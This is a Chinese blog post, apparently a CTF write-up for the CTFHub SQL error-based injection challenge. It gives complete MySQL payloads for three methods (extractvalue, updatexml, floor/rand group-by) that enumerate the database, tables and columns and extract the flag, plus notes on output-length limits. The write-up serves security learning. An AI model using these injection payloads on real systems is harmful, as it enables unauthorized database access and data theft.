CTFHUB——SQL 报错注入三种方法全解

背景

Sql注入主要有三种方法,extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。
本篇文章将对CTFHUB中的SQL报错注入题目从头到尾对这三种方法进行实践。

利用extractvalue来xpath报错。

1 and (select extractvalue(1, concat(0x7e, (select database()))))

extracvalue爆库

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

extractvalue爆表

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

extract爆字段

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

extract得到flag

利用updatexml来xpath报错。

1 and (select updatexml(1, (concat (0x7e, (select database()))),1))

updatexml爆库

1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1)) 

updatexml爆表

1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)) 

updatexml爆字段

1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))

updatexml得到flag

利用floor来group by主键重复报错。

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

group by爆库

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

注:图中有错误,在limit那里,正确的用法如上。

group by爆表

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

group by 爆字段

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

group by得到flag

总结

在30分钟里用三种方法报错注入得到flag,顺便写出writeup,感觉蛮快了2333。

extractvalue和updatexml用起来没什么问题,很顺利。

突然发现用这两个函数得到的flag是不完整的。这两个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。

以后遇到这种问题再用一下right()获取右边的值即可。

right函数

用group by的时候问题很大,首先它貌似只试用于mysql 5.x的版本,以至于我在本地最新mysql版本上复现出来。关于这个问题在 csdn上 写了一篇博客

然后我发现用这个group by来报错的时候不能用爆表和爆字段的时候不能用group_concat。但是我在本地测试的时候又可以,很奇怪,感觉是题目的锅。

本地成功用group_concat

但是没关系,不用group_concat就手动一个个查,利用limit来控制。

limit的用法

limit的第一个值表示从 第几行开始,第二个值表示从开始的行取几行。

  • 8
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值